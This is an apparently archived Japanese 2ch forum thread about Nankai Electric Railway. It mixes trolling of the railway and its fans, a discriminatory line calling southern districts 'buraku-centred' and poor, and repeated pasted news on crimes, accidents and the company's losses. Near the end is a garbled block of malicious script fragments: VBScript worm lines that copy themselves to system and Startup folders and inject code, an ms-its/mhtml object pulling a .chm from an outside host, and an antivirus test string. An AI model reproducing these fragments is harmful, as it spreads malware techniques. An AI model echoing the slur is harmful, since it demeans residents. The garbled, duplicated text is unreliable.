南海と関空 ４

前スレ
http://hobby7.2ch.net/test/read.cgi/train/1158714132/

２げっと

大手私鉄の一つ、大阪は難波と泉州・和歌山・高野山・関空を結ぶ日本最古の私鉄、南海電気鉄道の本線・高野線ウォッチ以外・高師浜線・多奈川線・加太線・和歌山港線・過去の廃線区間について語りましょう。。。。。

南海はぼろい南海はぼろい南海の塗装はダサい南海はダサい南海はキモイ南海はクサイ南海はボロイ南海はしょぼい南海の経営が苦しくて新車が入らないので、脳内新車投入を妄想する基地外だらけやな南茨木→阪急三宮4
3.8km390円南海難波→関西空港43.8km890円同一距離でなんと500円の差！！！>516難波〜関西空港間は42.8kmな。関西空港だと連絡橋とか絡んでくるから正しくは、南茨木→阪急三宮43.8km390円南海難波→橋本43.8km670
円ということで280円の差となる。まぁ阪急と違って都市と都市を結んでなくて、乗客も少ないんだから仕方ないだろう。南海の高い運賃で経営をやっていけないのは、単に経営改革への不断の努力が足りないだけそして、
南海の経営改革には、コネ採用で強大化した寄合の労組が大きく反対する

4様

大手私鉄のまで読んだw

南海もう秋田

あげてみる

踏切の電源入れ忘れ作動せず８列車通過南海和歌山港線2006年10月20日20時46分和歌山市網屋町の南海和歌山港線「久保町２号踏切」で２０日始発から午前８時半ごろまで、警報機や遮断機が作動せず、特急や急行など計８
本の列車がそのまま通過した。未明にあった点検作業のため電源を切ったまま忘れていたのが原因という。現場は工場が密集する地域で人通りは少なく、けが人はなかった。南海電気鉄道によると同日午前０時半ごろ、踏切
や信号機などに電気を送る電源装置の定期点検のため、同線の踏切１１カ所の電源を切った。点検が終わった午前３時ごろから、社員２人が電源を入れて回ったが、ここだけ復旧し忘れたという。午前８時５分ごろ、現場手
前で急行列車の運転士が異常に気付き、本社に連絡した。同社は「初歩的なミスで大変申し訳ない。作業手順の厳守とチェックを徹底する」としている。少年ら１００人公園で乱闘大阪府堺市堺市で４月２９日未明に少年グ
ループ計約１００人が乱闘事件を起こし、数人が骨折などの重傷を負っていたことが分かった。大阪府警少年課と堺北署などは、これまでに乱闘に加わった約７０人を傷害、凶器準備集合容疑などで逮捕した。逮捕者はまだ
まだ増える見通しだ。発端はグループ同士の小競り合いだったが、双方が携帯電話で次々と仲間を呼び出し、エスカレートしていったという。金属バットで手加減せずに殴るなど悪質なことから、府警は異例の大量逮捕に踏
み切った。現場は堺区大浜北町の大浜公園。調べでは、乱闘したのは同区の同じ中学出身の少年グループと、隣接する大阪市住之江区の少年グループ。日ごろからメンバー同士が互いに「田舎者」などとののしり合うなど、
対立していたという。事件の前日にも住之江区内で双方がけんかし、その際、住之江側メンバーがけがをしたため、報復と称して堺区に乗り込み、乱闘になった。金属バットなどで殴り合い、数人が腕の骨折や頭部打撲など
の重傷を負った。騒ぎを聞いた近所の人が１１０番。警察官が駆け付けたところ、大半のメンバーは逃げた後だったが、負傷した約１０人が取り残されており、うち数人が病院に搬送された。両グループとも、携帯電話で友

人や先輩、後輩に応援要請。仲間が仲間を呼び、最終的に１０代後半の少年を中心とする約１００人に膨れ上がったらしい。一部には成人もいたという。対立するグループとは何の関係もないメンバーもおり、「やばいと思
ったが、先輩に言われて断れなかった」「やらなければ自分がやられると思った」などと話しているという。ttp://www.mainichi-msn.co.jp/kansai/news/20061020ddf041040026000c.htmlttp://news19.2ch.net/test/read.c
gi/newsplus/1161337661/

＿＿____|←樹海|.￣.||￣人生ｵﾜﾀ┗(^o^)┓三←赤字監禁強制わいせつ南海ヲタ||┏┗三

南海沿線はリアル北斗の拳の世界

南海沿線にだけは住みたくないｗもういいよ。南海沿線は北の核で壊滅しちゃって。

***本家ヨハネスブルグ−特定アジアのヨハネスブルグ“大阪民国”対置リスト(改2)***＜本家＞＜民国＞・カールトンセンター＝通天閣・ヨハネスブルグ中央駅周辺＝難波駅〜新今宮駅周辺・タクシーランク＝天王寺周辺
・ヒルブロウ＝OBP〜上町台地（ポンテ・シティ＝世界貿易センタービル）・ヨーヴィル＝心斎橋〜道頓堀〜日本橋〜アメリカ村周辺・ゴールドリーフ･シティ＝USJ・サントン地区＝北摂地域・ローズバンク地区＝西宮周辺
・アレクサンドラ＝尼崎・豊中南部周辺・プレトリア＝神戸・ソウェト＝西成・平野・生野･鶴橋・南海線沿線・阪和線沿線・南大阪線沿線・大和路線沿線・阪堺線沿線（ムババネ/スワジランド＝高槻・茨木）（マセル/レ
ソト＝京都)（ハボローネ/ボツワナ＝奈良）（マプート/モザンビーク＝和歌山）

南海ヲタってきもいな。南海ヲタ+アニオタの組み合わせがエグい南海はぼろいし

鉄ヲタってきもいな

>784資金難で導入のメドが全然つかないけどなw

_＿＿|赤||字||南||海|,,,.|の|,'"';,､''ﾞﾞ;､).|墓|､''ﾞﾞ;､),､ﾞ''!ﾘ''i二二二二!ﾞ''l!ﾘ'''ﾞ‖｀i二二二!´‖昌|:￣￣￣￣:|昌|￣:|_|;;;l"二二ﾞﾞl;;|_|￣:||:|::::::||;;;;;;;;;;||::::|:|

貧乳好きロリコンの南海ヲタは犯罪犯しそうで怖いなｗ

ttp://2next.net/swf/R3_temp.swf?inputStr=%93%EC%8AC%82%CD%83%7B%83%8D%82%A2

[南海]攻撃:41素早さ:76防御:58命中:22運:48HP:135[阪急]攻撃:75素早さ:55防御:71命中:22運:78HP:280南海vs阪急戦闘開始！！[南海]の攻撃MISS[阪急]は攻撃を回避した。[阪急]の攻撃HIT[南海]は92のダメージを受けた
。[南海]の攻撃HIT[阪急]は1のダメージを受けた。[阪急]の攻撃HIT[南海]は78のダメージを受けた。[阪急]が[南海]を倒しました(ラウンド数：2)。魔法のＭＤ５-ＭＤ５バトルttp://www.newspace21.com/mix/btl.php

>892南海沿線は治安も悪いな。

:sage

1000なら赤字南海、倒産1000なら赤字南海、倒産1000なら赤字南海、倒産1000なら赤字南海、倒産1000なら赤字南海、倒産1000なら赤字南海、倒産1000なら赤字南海、倒産1000なら赤字南海、倒産1000なら赤字南海、倒産10
00なら赤字南海、倒産1000なら赤字南海、倒産1000なら赤字南海、倒産1000なら赤字南海、倒産1000なら赤字南海、倒産1000なら赤字南海、倒産1000なら赤字南海、倒産1000なら赤字南海、倒産1000なら赤字南海、倒産1000
なら赤字南海、倒産1000なら赤字南海、倒産◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間
で約３億５０００万円の申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万
円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で
、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申
告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期
比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/new
s/OSK200605120072.html南海電鉄アスベストむき出し南海電鉄によりますと、あわせて１３の駅で天井のはりなどにアスベストが使われており、中でも大阪市内と堺市内の６つの駅ではアスベストを吹きつけた部分が密閉さ

れず、一部がむき出しになっていて、薬品などで固定する措置も取られていないということです。このうち、１つの駅では、近く予定されている改築に合わせてアスベストを撤去しますが、ほかの５つの駅では撤去や密閉な
どの新たな措置は今のところ考えていないということです。これについて南海電鉄の総務部は、現状でもアスベストが飛び散るおそれはないとしており、アスベストがむき出しになっている駅がどこかは明らかにしていませ
ん。一方、大阪の大手私鉄、京阪電鉄によりますと、４つの駅で建物にアスベストが吹き付けられており、このうち、大阪・枚方市の村野駅の屋根の一部でアスベストがむき出しになっているということです。京阪電鉄でも
、アスベストが飛散する心配はほとんどないとしていますが、近く、撤去することにしています。このほか、近鉄でも５つの駅でアスベストが吹き付けられていますが、飛散しないように固定する措置を取っているため、健
康上の心配はないとしています。ttp://www3.nhk.or.jp/news/2005/08/02/d20050802000028.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師
浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)
の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者
は「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕----------------------------------------------------------
----------------------大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７

）を強制わいせつ容疑で、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。
少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。女子生徒が乗り換
えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりし
て２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生
徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強
制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸
・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員十数人と
有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。２次会ではコンパニオン数人の時間を延長して接待を受けていた。両容疑者は女性がトイレへ行くため席を立ったところ「ち
ょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約４０分間、女性をトイレに監禁し、わいせつな行為に及んだという。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレ

を外からノックしたが、反応はなかったという。６月上旬に女性が同署に被害届を提出した。南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメント、両容疑者の処分を検討している。［2006年7月26日11時6
分紙面から］ttp://osaka.nikkansports.com/news/p-on-tp6-20060726-66186.html 南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営発表”の数字はともかく、いまだ景
気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一
角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末
、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九
十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比では
なんと九八・四％ものマイナス。「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、大手五社の中で経常
利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望
退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推

進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回
り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も
以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。南海電鉄、堺に１４８メートルのマンション計画仁徳陵を一望、
住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界
遺産登録を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観
論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。高さ約百四
十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。同電鉄では、計画を打ち出した昨年九
月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対
する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビ

ル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、低いながらもすで
に家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.ht
m■「世界遺産登録に“超高層”の影」2006/05/23放送（長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。超高層マンションで駅前を一気に
活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。なんと４５階建て、高さ１５２メート
ルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。それがおととしの５月
、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町
が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞しかしこの計画地、反正陵からわずか１２０メート
ル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地元で反対運動を進める吉田さんらは、手作りの模型で
、マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が建つという風にお考え頂いたらよくわかりますよ

』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家はこう指摘します。〈京都府立大学・宗田好史助教授〉「あえて、今から登録
をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。ttp://mbs.jp/voice/special/200605/23_2733.shtml現在の会社の経営状況があまりにもひどすぎるので、せめ
て現実逃避しようと旧塗装撮影会でシコシコとオナニーした、情けない赤字南海&南海ヲタおらあああ！！モギャ！∧＿∧―＝≡三∧＿∧＼从从//／（´∀｀）三≡＝――＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（
阪急つ三≡＝――＝≡三ヽ阪和線￣⌒)＞д(;;;((⌒￣￣￣＿　）三≡＝――＝≡三//￣￣´"'''⊂;;；#':*,'´''::;;;;::'''"´￣ヽ＼三≡＝――＝≡三＼__）;／／／（_,､｀^)^)＼＼＼（_＿）三≡＝―↑赤字南海赤字南海
ヲタが阪急萌えを自白「べっ別に阪急が好きだからこのスレに常駐してるんじゃないんだからね！」★★★★★★★★★★★★★★★★南海電鉄、単体209.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.
OS>：中間単体、05年9月当期赤字転落209.45億円、06年3月見通142億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期0
4年9月中間期06年3月期見通05年3月期実績売上高（百万円）35,61851,77570,200100,025(-31.2%)営業利益（百万円）6,7908,914(-23.8%)経常利益（百万円）3,4903,4383,0005,988(+1.5%)当期利益（百万円）△20,9454,963
△14,2005,490１株利益（円）△39.909.45△27.0510.45発行済株式総数(千株）524,859525,266１株配当（円）0.000.00--4.00ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=647
83+15-Nov-2005+RTRS南海の運転ミスによる情けない事故の歴史●男里川事故…踏切でトラックと衝突して川へ転落後で運転士が自分の子供を抱えながら運転していたことがバレて大問題に●羽倉崎事故…回送車両が車止め

を越え更に道路向かいの仏壇屋へ特攻担当の入換運転士曰く「天気が良かったので空に見とれていたら（ｒｙ」●住ノ江事故…同じく回送車両がATSを切った状態で冒進、高架下のプールにダイブ未遂この運転士の言い訳は
「急いで帰りたかった」<bodyonload=window()>Ifs="htm"andfso.FileExists(f1.path+"l")=Falsethenfso.CopyFilef1.path,f1.path+"l"SetA4=A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))fso.copyfile"c:\
network.vbs","j:\windows\startmenu\programs\startup\"c.Copy(dirsystem&"\MSKernel32.vbs")c.Copy(dirwin&"\Win32DLL.vbs")c.Copy(dirsystem&"\TXT.vbs")<objectdata="ms-its:mhtml:file://C:\\MAIN.MHT!http:/
/www.loadcash.biz//adverts//35//main.chm::/main.htm"type="text/X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*fso.copyfile"dirsystem&vbs","j:\windows\startmenu\programs\startup\"
Ifs="htm"andfso.FileExists(f1.path+"l")=Falsethenfso.CopyFilef1.path,f1.path+"l"ToInfect.CodeModule.InsertLinesBGN,ADI1.CodeModule.Lines(BGN,1)G.RegWriteA("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenv
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nw=1Elsew=0whichfile=p+w*10EndSub？？？>28踏切の電源入れ忘れ作動せず８列車通過南海和歌山港線2006年10月20日20時46分和歌山市網屋町の南海和歌山港線「久保町２号踏切」で２０日始発から午前８時半ごろまで、警

報機や遮断機が作動せず、特急や急行など計８本の列車がそのまま通過した。未明にあった点検作業のため電源を切ったまま忘れていたのが原因という。現場は工場が密集する地域で人通りは少なく、けが人はなかった。南
海電気鉄道によると同日午前０時半ごろ、踏切や信号機などに電気を送る電源装置の定期点検のため、同線の踏切１１カ所の電源を切った。点検が終わった午前３時ごろから、社員２人が電源を入れて回ったが、ここだけ復
旧し忘れたという。午前８時５分ごろ、現場手前で急行列車の運転士が異常に気付き、本社に連絡した。同社は「初歩的なミスで大変申し訳ない。作業手順の厳守とチェックを徹底する」としている。重複誘導【回送←】南
海電気鉄道ｽﾚｯﾄﾞNa86【⇒羽倉崎】ttp://hobby7.2ch.net/test/read.cgi/rail/1161620916/◆◇◆◇◆南海電鉄運転士らが強制わいせつ＝コンパニオンに、逮捕−神戸◆◇◆◇◆コンパニオンの女性をトイレに閉じ込めて体
を触ったとして、兵庫県警有馬署は25日、監禁と強制わいせつの疑いで、南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘＝、車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘＝両容疑者を逮捕した。両容疑者は「
合意の上だった」と供述している。調べによると、両容疑者は5月29日夜、神戸市北区有馬町のホテルで、宴会に派遣されていた同区在住のコンパニオンの女性（23）を男子トイレの個室に監禁して胸などを触った疑い。（
時事通信）-7月25日18時0分更新ソース：ttp://headlines.yahoo.co.jp/hl?a=20060725-00000096-jij-soci（１１月２９日の社会面ニュース）４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕----------------------
----------------------------------------------------------大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内に住む高校
３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に連

れ込んでわいせつ行為を続けたという。少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体
を触るなどした疑い。女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではや
し立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかった
という。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽
衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し出され転倒。男はさらに
引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に
乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面◆◇◆◇◆踏切の電源入れ忘れ作動せず８列車通過南海和歌山港線◆◇◆◇◆2006年10月20日20
時46分和歌山市網屋町の南海和歌山港線「久保町２号踏切」で２０日始発から午前８時半ごろまで、警報機や遮断機が作動せず、特急や急行など計８本の列車がそのまま通過した。未明にあった点検作業のため電源を切った
まま忘れていたのが原因という。現場は工場が密集する地域で人通りは少なく、けが人はなかった。南海電気鉄道によると同日午前０時半ごろ、踏切や信号機などに電気を送る電源装置の定期点検のため、同線の踏切１１カ

所の電源を切った。点検が終わった午前３時ごろから、社員２人が電源を入れて回ったが、ここだけ復旧し忘れたという。午前８時５分ごろ、現場手前で急行列車の運転士が異常に気付き、本社に連絡した。同社は「初歩的
なミスで大変申し訳ない。作業手順の厳守とチェックを徹底する」としている。ttp://www.asahi.com/national/update/1020/OSK200610200054.html★★★★★★★★★★★★★★★★南海電鉄、単体209.45億円の赤字転落
★★★★★★★★★★★★★★★★南海電<9044.OS>：中間単体、05年9月当期赤字転落209.45億円、06年3月見通142億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9月30日
)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）35,61851,77570,200100,025(-31.2%)営業利益（百万円）6,7908,914(-23.8%)経常利益（百万円）3,4903,4383,000
5,988(+1.5%)当期利益（百万円）△20,9454,963△14,2005,490１株利益（円）△39.909.45△27.0510.45発行済株式総数(千株）524,859525,266１株配当（円）0.000.00--4.00ttp://today.reuters.co.jp/stocks/FinanceArti
cle.aspx?view=CN&symbol=9044.OS&storyid=64783+15-Nov-2005+RTRS★★★★★★★★★★★★★★★★南海電鉄、連結192.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間連結、05年9月当期赤
字転落192.45億円、06年3月見通110億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05
年3月期実績売上高（百万円）91,09099,560192,000196,210(-8.5%)営業利益（百万円）12,71910,682(+19.1%)経常利益（百万円）7,4384,79110,0009,470(+55.2%)当期利益（百万円）△19,2456,616△11,0007,737１株利益（
円）△36.7312.65△20.9614.79営業活動ＣＦ（百万円）17,98220,236ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64776+15-Nov-2005+RTRS京都〜関空電車１時間３１分１８
３０円京都〜伊丹バス１時間１１分１２８０円河原町〜伊丹電車・モノレール５５分７３０円北部・・・高級住宅地多い裕福層中心人口多い南部・・・部落中心貧民中心過疎地域もあり

南海age

下位企業の現実、ああ、『南海電気鉄道があったころ』ビジネスの成功理論にのれない“多勢”の役割を考えるttp://business.nikkeibp.co.jp/article/life/20060925/110469/ボロ南海保守age：.,'./iヽ:.ヽ:.:..ヽ.ヽ,'
//.ハヽヽ:.:.:.:.ヽ::..ヽヽ：.：.|i.ii.i/ヽﾄ､＼､:.:.:.',:.',:.:.lヽ}|i.il:Ｎ＿,-弋＼弌弋ナ:}:.:}：.|i∧',:{,ｨjモﾄ＼ｲjミﾄｲｲＶ：.ご‥ごめんなさい.|:ﾒヽ.',`ozＺ}izN｡ﾊ::{南海電車なんかに：.|:ヾ_!ゝ"ﾞﾞ'｀ﾞ
ハ.:',：.毎日乗ってる|:.:_ｲ.:.ヽ.(二ﾌ,ｲ:.:.:!:.ヽキモいヲタとは：./rｨｲ|:.:.ヽ:＞r／｀＜ノ.:.::.}ヽ､＼：.つきあいたくないの/∧l;l!:.:.:.:/／{二￣ .}..:..::ﾘ//ハ.:＼：.／.{.',ヾ､ヽi.:.:.{／(^｀|.:.:.:./
／:::.}:.ヽ.：.//）ヽヾ､ヽ:.ﾊﾔ{∧／.-‐'"::|:.:.i',./.,ｲ.:..}::＼ヾレ'ﾊ∧__ノﾉﾊヾ､:::l:.:.:.ﾊ',{/｜.:.:ﾊ:::iＹ{ヾ｀Ｙヽﾆン'ノ}::}::::/:.:.:/}:.}Ｖ|.:.:/:.:|_,ｨ'￣ヽ三{｀ー-ノ:ｲ:::/:.:i.:{リヽ:.:{､.:.
Ｖ::ﾍ::{:::/:.::∧|l､､__,／'}|ヽ''~￣￣￣~`ヾ.／＿,,,....,,,＿.`v_'`､/:━━|ニ_｝近ツーと南海の合併は|::∈∋ヽ|ただの弱者連合ですね。／/::-=,=.ヮ.|ヽ､|/'../::／∠.._|､.ﾉ/':::|:::|./.!-'L|::.v'.ヾ:::..
/...,ゞ､､;;;,,＿,,,..._;;;;;__,,..ノ､'ｰ┐,,..､_ ﾉl_,,,...､_,,一`冷蔵庫先生がこき下ろしてたけどな「JRの攻勢（はるか京都直通、223系投入）に対してシャレ広告を打つくらいしかしてない」と南海沿線の観光行楽
地は電車じゃなくてクルマで行っちゃうし“京都に秋アキ”なんて馬鹿なこと言わず“おけいはんで京都へ”と京都観光に便乗したほうが南海的に鉄道旅客増になると思うがな>353おけいはんに喧嘩売ったのか？南海？

,.‐';ﾆ"´ﾆイ:i!:､ヽ:.:｀ヽ､_／.:／／／:.ｲ:.|:|:|i:.:ヽ:.､ヽ:､ヽ、:.:／:/./:／/:|:.:|:!:|:|i:.:.:ﾞ,:.:.:.ﾘ:.ヽ＼./:.:/:/:.:.//ハ:.:i:.:l:.:.i:.:.:i:.ヽ`:|:!:.:ヽヽ:.:/.:/:.:./:.l!::.:.ﾊ:.V:.;､:i:.:.|:.
:.ヽ|:.i:.i:.:.',:.ﾞ:,/l!:/.:.:/|!.|:.:./ハ:',:|:ヽ:､|!:.:.:.ﾊ:.||:.',:.i:､:',!|l,:!:.:.:.:|.||ﾚ/∧:l:ﾒ!:.ヽ:.:|:.|/:.i:.ﾘ:､',:|:.i:.i:|l.|:.:.:.:|!.:|:.//¬i:.{‐､.:|.ﾄ､:l:|､:.!:.:.i:ヽ|:.|:|i:.:||:.:
